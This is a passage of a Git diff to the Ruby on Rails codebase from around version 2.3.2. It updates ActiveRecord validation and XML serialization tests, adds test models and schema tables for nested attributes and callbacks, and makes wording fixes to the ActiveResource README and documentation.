- def test_validates_uniqueness_of_generates_message_with_custom_default_message
- Topic.validates_uniqueness_of :title, :message => 'custom'
- @topic.title = unique_topic.title
- @topic.errors.expects(:generate_message).with(:title, :taken, {:default => 'custom', :value => 'unique!'})
- @topic.valid?
- end
+ def test_validates_uniqueness_of_generates_message_with_custom_default_message
+ Topic.validates_uniqueness_of :title, :message => 'custom'
+ @topic.title = unique_topic.title
+ @topic.errors.expects(:generate_message).with(:title, :taken, {:default => 'custom', :value => 'unique!'})
+ @topic.valid?
+ end
- # validates_format_of w/ mocha
+ # validates_format_of w/ mocha
- def test_validates_format_of_generates_message
- Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
- @topic.title = '72x'
- @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => nil})
- @topic.valid?
- end
+ def test_validates_format_of_generates_message
+ Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/
+ @topic.title = '72x'
+ @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => nil})
+ @topic.valid?
+ end
- def test_validates_format_of_generates_message_with_custom_default_message
- Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/, :message => 'custom'
- @topic.title = '72x'
- @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_format_of_generates_message_with_custom_default_message
+ Topic.validates_format_of :title, :with => /^[1-9][0-9]*$/, :message => 'custom'
+ @topic.title = '72x'
+ @topic.errors.expects(:generate_message).with(:title, :invalid, {:value => '72x', :default => 'custom'})
+ @topic.valid?
+ end
- # validates_inclusion_of w/ mocha
+ # validates_inclusion_of w/ mocha
- def test_validates_inclusion_of_generates_message
- Topic.validates_inclusion_of :title, :in => %w(a b c)
- @topic.title = 'z'
- @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => nil})
- @topic.valid?
- end
+ def test_validates_inclusion_of_generates_message
+ Topic.validates_inclusion_of :title, :in => %w(a b c)
+ @topic.title = 'z'
+ @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => nil})
+ @topic.valid?
+ end
- def test_validates_inclusion_of_generates_message_with_custom_default_message
- Topic.validates_inclusion_of :title, :in => %w(a b c), :message => 'custom'
- @topic.title = 'z'
- @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_inclusion_of_generates_message_with_custom_default_message
+ Topic.validates_inclusion_of :title, :in => %w(a b c), :message => 'custom'
+ @topic.title = 'z'
+ @topic.errors.expects(:generate_message).with(:title, :inclusion, {:value => 'z', :default => 'custom'})
+ @topic.valid?
+ end
- # validates_exclusion_of w/ mocha
+ # validates_exclusion_of w/ mocha
- def test_validates_exclusion_of_generates_message
- Topic.validates_exclusion_of :title, :in => %w(a b c)
- @topic.title = 'a'
- @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => nil})
- @topic.valid?
- end
+ def test_validates_exclusion_of_generates_message
+ Topic.validates_exclusion_of :title, :in => %w(a b c)
+ @topic.title = 'a'
+ @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => nil})
+ @topic.valid?
+ end
- def test_validates_exclusion_of_generates_message_with_custom_default_message
- Topic.validates_exclusion_of :title, :in => %w(a b c), :message => 'custom'
- @topic.title = 'a'
- @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_exclusion_of_generates_message_with_custom_default_message
+ Topic.validates_exclusion_of :title, :in => %w(a b c), :message => 'custom'
+ @topic.title = 'a'
+ @topic.errors.expects(:generate_message).with(:title, :exclusion, {:value => 'a', :default => 'custom'})
+ @topic.valid?
+ end
- # validates_numericality_of without :only_integer w/ mocha
+ # validates_numericality_of without :only_integer w/ mocha
- def test_validates_numericality_of_generates_message
- Topic.validates_numericality_of :title
- @topic.title = 'a'
- @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})
- @topic.valid?
- end
+ def test_validates_numericality_of_generates_message
+ Topic.validates_numericality_of :title
+ @topic.title = 'a'
+ @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})
+ @topic.valid?
+ end
- def test_validates_numericality_of_generates_message_with_custom_default_message
- Topic.validates_numericality_of :title, :message => 'custom'
- @topic.title = 'a'
- @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_numericality_of_generates_message_with_custom_default_message
+ Topic.validates_numericality_of :title, :message => 'custom'
+ @topic.title = 'a'
+ @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'})
+ @topic.valid?
+ end
- # validates_numericality_of with :only_integer w/ mocha
+ # validates_numericality_of with :only_integer w/ mocha
- def test_validates_numericality_of_only_integer_generates_message
- Topic.validates_numericality_of :title, :only_integer => true
- @topic.title = 'a'
- @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})
- @topic.valid?
- end
+ def test_validates_numericality_of_only_integer_generates_message
+ Topic.validates_numericality_of :title, :only_integer => true
+ @topic.title = 'a'
+ @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => nil})
+ @topic.valid?
+ end
- def test_validates_numericality_of_only_integer_generates_message_with_custom_default_message
- Topic.validates_numericality_of :title, :only_integer => true, :message => 'custom'
- @topic.title = 'a'
- @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_numericality_of_only_integer_generates_message_with_custom_default_message
+ Topic.validates_numericality_of :title, :only_integer => true, :message => 'custom'
+ @topic.title = 'a'
+ @topic.errors.expects(:generate_message).with(:title, :not_a_number, {:value => 'a', :default => 'custom'})
+ @topic.valid?
+ end
- # validates_numericality_of :odd w/ mocha
+ # validates_numericality_of :odd w/ mocha
- def test_validates_numericality_of_odd_generates_message
- Topic.validates_numericality_of :title, :only_integer => true, :odd => true
- @topic.title = 0
- @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => nil})
- @topic.valid?
- end
+ def test_validates_numericality_of_odd_generates_message
+ Topic.validates_numericality_of :title, :only_integer => true, :odd => true
+ @topic.title = 0
+ @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => nil})
+ @topic.valid?
+ end
- def test_validates_numericality_of_odd_generates_message_with_custom_default_message
- Topic.validates_numericality_of :title, :only_integer => true, :odd => true, :message => 'custom'
- @topic.title = 0
- @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_numericality_of_odd_generates_message_with_custom_default_message
+ Topic.validates_numericality_of :title, :only_integer => true, :odd => true, :message => 'custom'
+ @topic.title = 0
+ @topic.errors.expects(:generate_message).with(:title, :odd, {:value => 0, :default => 'custom'})
+ @topic.valid?
+ end
- # validates_numericality_of :less_than w/ mocha
+ # validates_numericality_of :less_than w/ mocha
- def test_validates_numericality_of_less_than_generates_message
- Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
- @topic.title = 1
- @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => nil})
- @topic.valid?
- end
+ def test_validates_numericality_of_less_than_generates_message
+ Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
+ @topic.title = 1
+ @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => nil})
+ @topic.valid?
+ end
- def test_validates_numericality_of_odd_generates_message_with_custom_default_message
- Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0, :message => 'custom'
- @topic.title = 1
- @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_numericality_of_odd_generates_message_with_custom_default_message
+ Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0, :message => 'custom'
+ @topic.title = 1
+ @topic.errors.expects(:generate_message).with(:title, :less_than, {:value => 1, :count => 0, :default => 'custom'})
+ @topic.valid?
+ end
- # validates_associated w/ mocha
+ # validates_associated w/ mocha
- def test_validates_associated_generates_message
- Topic.validates_associated :replies
- replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil})
- replied_topic.valid?
- end
+ def test_validates_associated_generates_message
+ Topic.validates_associated :replies
+ replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil})
+ replied_topic.valid?
+ end
- def test_validates_associated_generates_message_with_custom_default_message
- Topic.validates_associated :replies
- replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil})
- replied_topic.valid?
- end
+ def test_validates_associated_generates_message_with_custom_default_message
+ Topic.validates_associated :replies
+ replied_topic.errors.expects(:generate_message).with(:replies, :invalid, {:value => replied_topic.replies, :default => nil})
+ replied_topic.valid?
end
# validates_confirmation_of w/o mocha
diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb
index 380d8ac260..c20f5ae63e 100644
--- a/activerecord/test/cases/validations_test.rb
+++ b/activerecord/test/cases/validations_test.rb
@@ -8,6 +8,7 @@ require 'models/warehouse_thing'
require 'models/guid'
require 'models/owner'
require 'models/pet'
+require 'models/event'
# The following methods in Topic are used in test_conditional_validation_*
class Topic
@@ -113,8 +114,8 @@ class ValidationsTest < ActiveRecord::TestCase
end
def test_invalid_record_exception
- assert_raises(ActiveRecord::RecordInvalid) { Reply.create! }
- assert_raises(ActiveRecord::RecordInvalid) { Reply.new.save! }
+ assert_raise(ActiveRecord::RecordInvalid) { Reply.create! }
+ assert_raise(ActiveRecord::RecordInvalid) { Reply.new.save! }
begin
r = Reply.new
@@ -126,13 +127,13 @@ class ValidationsTest < ActiveRecord::TestCase
end
def test_exception_on_create_bang_many
- assert_raises(ActiveRecord::RecordInvalid) do
+ assert_raise(ActiveRecord::RecordInvalid) do
Reply.create!([ { "title" => "OK" }, { "title" => "Wrong Create" }])
end
end
def test_exception_on_create_bang_with_block
- assert_raises(ActiveRecord::RecordInvalid) do
+ assert_raise(ActiveRecord::RecordInvalid) do
Reply.create!({ "title" => "OK" }) do |r|
r.content = nil
end
@@ -140,7 +141,7 @@ class ValidationsTest < ActiveRecord::TestCase
end
def test_exception_on_create_bang_many_with_block
- assert_raises(ActiveRecord::RecordInvalid) do
+ assert_raise(ActiveRecord::RecordInvalid) do
Reply.create!([{ "title" => "OK" }, { "title" => "Wrong Create" }]) do |r|
r.content = nil
end
@@ -149,7 +150,7 @@ class ValidationsTest < ActiveRecord::TestCase
def test_scoped_create_without_attributes
Reply.with_scope(:create => {}) do
- assert_raises(ActiveRecord::RecordInvalid) { Reply.create! }
+ assert_raise(ActiveRecord::RecordInvalid) { Reply.create! }
end
end
@@ -169,7 +170,7 @@ class ValidationsTest < ActiveRecord::TestCase
assert_equal person.first_name, "Mary", "should be ok when no attributes are passed to create!"
end
end
- end
+ end
def test_single_error_per_attr_iteration
r = Reply.new
@@ -530,6 +531,14 @@ class ValidationsTest < ActiveRecord::TestCase
end
end
+ def test_validate_uniqueness_with_limit
+ # Event.title is limited to 5 characters
+ e1 = Event.create(:title => "abcde")
+ assert e1.valid?, "Could not create an event with a unique, 5 character title"
+ e2 = Event.create(:title => "abcdefgh")
+ assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique"
+ end
+
def test_validate_straight_inheritance_uniqueness
w1 = IneptWizard.create(:name => "Rincewind", :city => "Ankh-Morpork")
assert w1.valid?, "Saving w1"
@@ -958,6 +967,19 @@ class ValidationsTest < ActiveRecord::TestCase
assert_equal "boo 5", t.errors["title"]
end
+ def test_validates_length_of_custom_errors_for_in
+ Topic.validates_length_of(:title, :in => 10..20, :message => "hoo {{count}}")
+ t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
+ assert !t.valid?
+ assert t.errors.on(:title)
+ assert_equal "hoo 10", t.errors["title"]
+
+ t = Topic.create("title" => "uhohuhohuhohuhohuhohuhohuhohuhoh", "content" => "whatever")
+ assert !t.valid?
+ assert t.errors.on(:title)
+ assert_equal "hoo 20", t.errors["title"]
+ end
+
def test_validates_length_of_custom_errors_for_maximum_with_too_long
Topic.validates_length_of( :title, :maximum=>5, :too_long=>"hoo {{count}}" )
t = Topic.create("title" => "uhohuhoh", "content" => "whatever")
@@ -1408,6 +1430,17 @@ class ValidationsTest < ActiveRecord::TestCase
assert_equal "can't be blank", t.errors.on("title").first
end
+ def test_invalid_should_be_the_opposite_of_valid
+ Topic.validates_presence_of :title
+
+ t = Topic.new
+ assert t.invalid?
+ assert t.errors.invalid?(:title)
+
+ t.title = 'Things are going to change'
+ assert !t.invalid?
+ end
+
# previous implementation of validates_presence_of eval'd the
# string with the wrong binding, this regression test is to
# ensure that it works correctly
@@ -1429,20 +1462,6 @@ class ValidationsTest < ActiveRecord::TestCase
t.author_name = "Hubert J. Farnsworth"
assert t.valid?, "A topic with an important title and author should be valid"
end
-
- private
- def with_kcode(kcode)
- if RUBY_VERSION < '1.9'
- orig_kcode, $KCODE = $KCODE, kcode
- begin
- yield
- ensure
- $KCODE = orig_kcode
- end
- else
- yield
- end
- end
end
diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb
index 39c6ea820d..b49997669e 100644
--- a/activerecord/test/cases/xml_serialization_test.rb
+++ b/activerecord/test/cases/xml_serialization_test.rb
@@ -38,11 +38,15 @@ class XmlSerializationTest < ActiveRecord::TestCase
assert_match %r{<CreatedAt}, @xml
end
+ def test_should_allow_skipped_types
+ @xml = Contact.new(:age => 25).to_xml :skip_types => true
+ assert %r{<age>25</age>}.match(@xml)
+ end
+
def test_should_include_yielded_additions
@xml = Contact.new.to_xml do |xml|
xml.creator "David"
end
-
assert_match %r{<creator>David</creator>}, @xml
end
end
@@ -145,6 +149,13 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase
assert_match %r{<hello-post type="StiPost">}, xml
end
+ def test_included_associations_should_skip_types
+ xml = authors(:david).to_xml :include=>:hello_posts, :indent => 0, :skip_types => true
+ assert_match %r{<hello-posts>}, xml
+ assert_match %r{<hello-post>}, xml
+ assert_match %r{<hello-post>}, xml
+ end
+
def test_methods_are_called_on_object
xml = authors(:david).to_xml :methods => :label, :indent => 0
assert_match %r{<label>.*</label>}, xml
diff --git a/activerecord/test/fixtures/toys.yml b/activerecord/test/fixtures/toys.yml
new file mode 100644
index 0000000000..037e335e0a
--- /dev/null
+++ b/activerecord/test/fixtures/toys.yml
@@ -0,0 +1,4 @@
+bone:
+ toy_id: 1
+ name: Bone
+ pet_id: 1
diff --git a/activerecord/test/models/bird.rb b/activerecord/test/models/bird.rb
new file mode 100644
index 0000000000..341d2eeffc
--- /dev/null
+++ b/activerecord/test/models/bird.rb
@@ -0,0 +1,3 @@
+class Bird < ActiveRecord::Base
+ validates_presence_of :name
+end \ No newline at end of file
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
index 3b27a9e272..02a775f9ef 100644
--- a/activerecord/test/models/company.rb
+++ b/activerecord/test/models/company.rb
@@ -37,6 +37,7 @@ class Firm < Company
has_many :clients, :order => "id", :dependent => :destroy, :counter_sql =>
"SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
"AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )"
+ has_many :unsorted_clients, :class_name => "Client"
has_many :clients_sorted_desc, :class_name => "Client", :order => "id DESC"
has_many :clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :order => "id"
has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
@@ -69,6 +70,7 @@ class Firm < Company
has_one :account_with_select, :foreign_key => "firm_id", :select => "id, firm_id", :class_name=>'Account'
has_one :readonly_account, :foreign_key => "firm_id", :class_name => "Account", :readonly => true
has_one :account_using_primary_key, :primary_key => "firm_id", :class_name => "Account"
+ has_one :deletable_account, :foreign_key => "firm_id", :class_name => "Account", :dependent => :delete
end
class DependentFirm < Company
diff --git a/activerecord/test/models/event.rb b/activerecord/test/models/event.rb
new file mode 100644
index 0000000000..99fa0feeb7
--- /dev/null
+++ b/activerecord/test/models/event.rb
@@ -0,0 +1,3 @@
+class Event < ActiveRecord::Base
+ validates_uniqueness_of :title
+end \ No newline at end of file
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
index dbaf2ce688..5760b991ec 100644
--- a/activerecord/test/models/owner.rb
+++ b/activerecord/test/models/owner.rb
@@ -1,4 +1,5 @@
class Owner < ActiveRecord::Base
set_primary_key :owner_id
has_many :pets
-end \ No newline at end of file
+ has_many :toys, :through => :pets
+end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
index b9431fd1c0..4a7ed52636 100644
--- a/activerecord/test/models/parrot.rb
+++ b/activerecord/test/models/parrot.rb
@@ -4,6 +4,8 @@ class Parrot < ActiveRecord::Base
has_and_belongs_to_many :treasures
has_many :loots, :as => :looter
alias_attribute :title, :name
+
+ validates_presence_of :name
end
class LiveParrot < Parrot
diff --git a/activerecord/test/models/pet.rb b/activerecord/test/models/pet.rb
index 889ce46f33..dc1a3c5e94 100644
--- a/activerecord/test/models/pet.rb
+++ b/activerecord/test/models/pet.rb
@@ -1,4 +1,5 @@
class Pet < ActiveRecord::Base
set_primary_key :pet_id
belongs_to :owner
-end \ No newline at end of file
+ has_many :toys
+end
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
index 51c8183dee..238917bf30 100644
--- a/activerecord/test/models/pirate.rb
+++ b/activerecord/test/models/pirate.rb
@@ -1,9 +1,63 @@
class Pirate < ActiveRecord::Base
belongs_to :parrot
has_and_belongs_to_many :parrots
- has_many :treasures, :as => :looter
+ has_and_belongs_to_many :parrots_with_method_callbacks, :class_name => "Parrot",
+ :before_add => :log_before_add,
+ :after_add => :log_after_add,
+ :before_remove => :log_before_remove,
+ :after_remove => :log_after_remove
+ has_and_belongs_to_many :parrots_with_proc_callbacks, :class_name => "Parrot",
+ :before_add => proc {|p,pa| p.ship_log << "before_adding_proc_parrot_#{pa.id || '<new>'}"},
+ :after_add => proc {|p,pa| p.ship_log << "after_adding_proc_parrot_#{pa.id || '<new>'}"},
+ :before_remove => proc {|p,pa| p.ship_log << "before_removing_proc_parrot_#{pa.id}"},
+ :after_remove => proc {|p,pa| p.ship_log << "after_removing_proc_parrot_#{pa.id}"}
+ has_many :treasures, :as => :looter
has_many :treasure_estimates, :through => :treasures, :source => :price_estimates
+ # These both have :autosave enabled because accepts_nested_attributes_for is used on them.
+ has_one :ship
+ has_many :birds
+ has_many :birds_with_method_callbacks, :class_name => "Bird",
+ :before_add => :log_before_add,
+ :after_add => :log_after_add,
+ :before_remove => :log_before_remove,
+ :after_remove => :log_after_remove
+ has_many :birds_with_proc_callbacks, :class_name => "Bird",
+ :before_add => proc {|p,b| p.ship_log << "before_adding_proc_bird_#{b.id || '<new>'}"},
+ :after_add => proc {|p,b| p.ship_log << "after_adding_proc_bird_#{b.id || '<new>'}"},
+ :before_remove => proc {|p,b| p.ship_log << "before_removing_proc_bird_#{b.id}"},
+ :after_remove => proc {|p,b| p.ship_log << "after_removing_proc_bird_#{b.id}"}
+
+ accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ accepts_nested_attributes_for :parrots_with_method_callbacks, :parrots_with_proc_callbacks,
+ :birds_with_method_callbacks, :birds_with_proc_callbacks, :allow_destroy => true
+
validates_presence_of :catchphrase
+
+ def ship_log
+ @ship_log ||= []
+ end
+
+ private
+ def log_before_add(record)
+ log(record, "before_adding_method")
+ end
+
+ def log_after_add(record)
+ log(record, "after_adding_method")
+ end
+
+ def log_before_remove(record)
+ log(record, "before_removing_method")
+ end
+
+ def log_after_remove(record)
+ log(record, "after_removing_method")
+ end
+
+ def log(record, callback)
+ ship_log << "#{callback}_#{record.class.name.downcase}_#{record.id || '<new>'}"
+ end
end
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index 388fff8fba..374e536a5b 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -1,5 +1,7 @@
class Post < ActiveRecord::Base
named_scope :containing_the_letter_a, :conditions => "body LIKE '%a%'"
+ named_scope :ranked_by_comments, :order => "comments_count DESC"
+ named_scope :limit, lambda {|limit| {:limit => limit} }
named_scope :with_authors_at_address, lambda { |address| {
:conditions => [ 'authors.author_address_id = ?', address.id ],
:joins => 'JOIN authors ON authors.id = posts.author_id'
@@ -68,6 +70,10 @@ class Post < ActiveRecord::Base
:before_remove => lambda {|owner, reader| log(:removed, :before, reader.first_name) },
:after_remove => lambda {|owner, reader| log(:removed, :after, reader.first_name) }
+ def self.top(limit)
+ ranked_by_comments.limit(limit)
+ end
+
def self.reset_log
@log = []
end
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
index 812bc1f535..1c990acab6 100644
--- a/activerecord/test/models/reply.rb
+++ b/activerecord/test/models/reply.rb
@@ -37,3 +37,9 @@ end
class SillyReply < Reply
belongs_to :reply, :foreign_key => "parent_id", :counter_cache => :replies_count
end
+
+module Web
+ class Reply < Web::Topic
+ belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true, :class_name => 'Web::Topic'
+ end
+end \ No newline at end of file
diff --git a/activerecord/test/models/ship.rb b/activerecord/test/models/ship.rb
index 05b09fc1b9..06759d64b8 100644
--- a/activerecord/test/models/ship.rb
+++ b/activerecord/test/models/ship.rb
@@ -1,3 +1,10 @@
class Ship < ActiveRecord::Base
self.record_timestamps = false
-end \ No newline at end of file
+
+ belongs_to :pirate
+ has_many :parts, :class_name => 'ShipPart', :autosave => true
+
+ accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+
+ validates_presence_of :name
+end
diff --git a/activerecord/test/models/ship_part.rb b/activerecord/test/models/ship_part.rb
new file mode 100644
index 0000000000..0a606db239
--- /dev/null
+++ b/activerecord/test/models/ship_part.rb
@@ -0,0 +1,5 @@
+class ShipPart < ActiveRecord::Base
+ belongs_to :ship
+
+ validates_presence_of :name
+end \ No newline at end of file
diff --git a/activerecord/test/models/topic.rb b/activerecord/test/models/topic.rb
index 08bb24ed03..51012d22ed 100644
--- a/activerecord/test/models/topic.rb
+++ b/activerecord/test/models/topic.rb
@@ -1,7 +1,9 @@
class Topic < ActiveRecord::Base
named_scope :base
named_scope :written_before, lambda { |time|
- { :conditions => ['written_on < ?', time] }
+ if time
+ { :conditions => ['written_on < ?', time] }
+ end
}
named_scope :approved, :conditions => {:approved => true}
named_scope :rejected, :conditions => {:approved => false}
@@ -33,6 +35,8 @@ class Topic < ActiveRecord::Base
end
named_scope :named_extension, :extend => NamedExtension
named_scope :multiple_extensions, :extend => [MultipleExtensionTwo, MultipleExtensionOne]
+
+ named_scope :by_rejected_ids, lambda {{ :conditions => { :id => all(:conditions => {:approved => false}).map(&:id) } }}
has_many :replies, :dependent => :destroy, :foreign_key => "parent_id"
serialize :content
@@ -69,3 +73,9 @@ class Topic < ActiveRecord::Base
end
end
end
+
+module Web
+ class Topic < ActiveRecord::Base
+ has_many :replies, :dependent => :destroy, :foreign_key => "parent_id", :class_name => 'Web::Reply'
+ end
+end \ No newline at end of file
diff --git a/activerecord/test/models/toy.rb b/activerecord/test/models/toy.rb
new file mode 100644
index 0000000000..79a88db0da
--- /dev/null
+++ b/activerecord/test/models/toy.rb
@@ -0,0 +1,4 @@
+class Toy < ActiveRecord::Base
+ set_primary_key :toy_id
+ belongs_to :pet
+end
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index d44faf04cc..ea848a2940 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -55,6 +55,11 @@ ActiveRecord::Schema.define do
t.binary :data
end
+ create_table :birds, :force => true do |t|
+ t.string :name
+ t.integer :pirate_id
+ end
+
create_table :books, :force => true do |t|
t.column :name, :string
end
@@ -150,6 +155,10 @@ ActiveRecord::Schema.define do
t.integer :course_id, :null => false
end
+ create_table :events, :force => true do |t|
+ t.string :title, :limit => 5
+ end
+
create_table :funny_jokes, :force => true do |t|
t.string :name
end
@@ -356,12 +365,18 @@ ActiveRecord::Schema.define do
create_table :ships, :force => true do |t|
t.string :name
+ t.integer :pirate_id
t.datetime :created_at
t.datetime :created_on
t.datetime :updated_at
t.datetime :updated_on
end
+ create_table :ship_parts, :force => true do |t|
+ t.string :name
+ t.integer :ship_id
+ end
+
create_table :sponsors, :force => true do |t|
t.integer :club_id
t.integer :sponsorable_id
@@ -410,6 +425,11 @@ ActiveRecord::Schema.define do
t.column :taggings_count, :integer, :default => 0
end
+ create_table :toys, :primary_key => :toy_id ,:force => true do |t|
+ t.string :name
+ t.integer :pet_id, :integer
+ end
+
create_table :treasures, :force => true do |t|
t.column :name, :string
t.column :looter_id, :integer
diff --git a/activeresource/CHANGELOG b/activeresource/CHANGELOG
index 428c6d91e9..6572934893 100644
--- a/activeresource/CHANGELOG
+++ b/activeresource/CHANGELOG
@@ -1,3 +1,8 @@
+*2.3.2 [Final] (March 15, 2009)*
+
+* Nothing new, just included in 2.3.2
+
+
*2.2.1 [RC2] (November 14th, 2008)*
* Fixed that ActiveResource#post would post an empty string when it shouldn't be posting anything #525 [Paolo Angelini]
diff --git a/activeresource/README b/activeresource/README
index 924017a659..127ac5b4a9 100644
--- a/activeresource/README
+++ b/activeresource/README
@@ -1,7 +1,7 @@
= Active Resource
Active Resource (ARes) connects business objects and Representational State Transfer (REST)
-web services. It implements object-relational mapping for REST webservices to provide transparent
+web services. It implements object-relational mapping for REST web services to provide transparent
proxying capabilities between a client (ActiveResource) and a RESTful service (which is provided by Simply RESTful routing
in ActionController::Resources).
@@ -22,14 +22,14 @@ received and serialized into a usable Ruby object.
=== Configuration and Usage
-Putting ActiveResource to use is very similar to ActiveRecord. It's as simple as creating a model class
+Putting Active Resource to use is very similar to Active Record. It's as simple as creating a model class
that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it:
class Person < ActiveResource::Base
self.site = "http://api.people.com:3000/"
end
-Now the Person class is REST enabled and can invoke REST services very similarly to how ActiveRecord invokes
+Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes
lifecycle methods that operate against a persistent store.
# Find a person with id = 1
@@ -42,7 +42,7 @@ records. But rather than dealing directly with a database record, you're dealin
==== Protocol
Active Resource is built on a standard XML format for requesting and submitting resources over HTTP. It mirrors the RESTful routing
-built into ActionController but will also work with any other REST service that properly implements the protocol.
+built into Action Controller but will also work with any other REST service that properly implements the protocol.
REST uses HTTP, but unlike "typical" web applications, it makes use of all the verbs available in the HTTP specification:
* GET requests are used for finding and retrieving resources.
@@ -55,8 +55,8 @@ for more general information on REST web services, see the article here[http://e
==== Find
-GET Http requests expect the XML form of whatever resource/resources is/are being requested. So,
-for a request for a single element - the XML of that item is expected in response:
+Find requests use the GET method and expect the XML form of whatever resource/resources is/are being requested. So,
+for a request for a single element, the XML of that item is expected in response:
# Expects a response of
#
@@ -101,7 +101,7 @@ Collections can also be requested in a similar fashion
==== Create
-Creating a new resource submits the xml form of the resource as the body of the request and expects
+Creating a new resource submits the XML form of the resource as the body of the request and expects
a 'Location' header in the response with the RESTful URL location of the newly created resource. The
id of the newly created resource is parsed out of the Location response header and automatically set
as the id of the ARes object.
diff --git a/activeresource/Rakefile b/activeresource/Rakefile
index ef99caea67..bf7bbb0201 100644
--- a/activeresource/Rakefile
+++ b/activeresource/Rakefile
@@ -28,6 +28,8 @@ task :default => [ :test ]
# Run the unit tests
Rake::TestTask.new { |t|
+ activesupport_path = "#{File.dirname(__FILE__)}/../activesupport/lib"
+ t.libs << activesupport_path if File.directory?(activesupport_path)
t.libs << "test"
t.pattern = 'test/**/*_test.rb'
t.verbose = true
@@ -65,7 +67,7 @@ spec = Gem::Specification.new do |s|
s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
end
- s.add_dependency('activesupport', '= 2.3.0' + PKG_BUILD)
+ s.add_dependency('activesupport', '= 2.3.2' + PKG_BUILD)
s.require_path = 'lib'
s.autorequire = 'active_resource'
diff --git a/activeresource/lib/active_resource/base.rb b/activeresource/lib/active_resource/base.rb
index 94418fb559..6cb5beb789 100644
--- a/activeresource/lib/active_resource/base.rb
+++ b/activeresource/lib/active_resource/base.rb
@@ -19,7 +19,7 @@ module ActiveResource
# end
#
# Now the Person class is mapped to RESTful resources located at <tt>http://api.people.com:3000/people/</tt>, and
- # you can now use Active Resource's lifecycles methods to manipulate resources. In the case where you already have
+ # you can now use Active Resource's lifecycle methods to manipulate resources. In the case where you already have
# an existing model with the same name as the desired RESTful resource you can set the +element_name+ value.
#
# class PersonResource < ActiveResource::Base
@@ -112,6 +112,7 @@ module ActiveResource
#
# Note: Some values cannot be provided in the URL passed to site. e.g. email addresses
# as usernames. In those situations you should use the separate user and password option.
+ #
# == Errors & Validation
#
# Error handling and validation is handled in much the same manner as you're used to seeing in
@@ -156,7 +157,7 @@ module ActiveResource
#
# === Validation errors
#
- # Active Resource supports validations on resources and will return errors if any these validations fail
+ # Active Resource supports validations on resources and will return errors if any of these validations fail
# (e.g., "First name can not be blank" and so on). These types of errors are denoted in the response by
# a response code of <tt>422</tt> and an XML representation of the validation errors. The save operation will
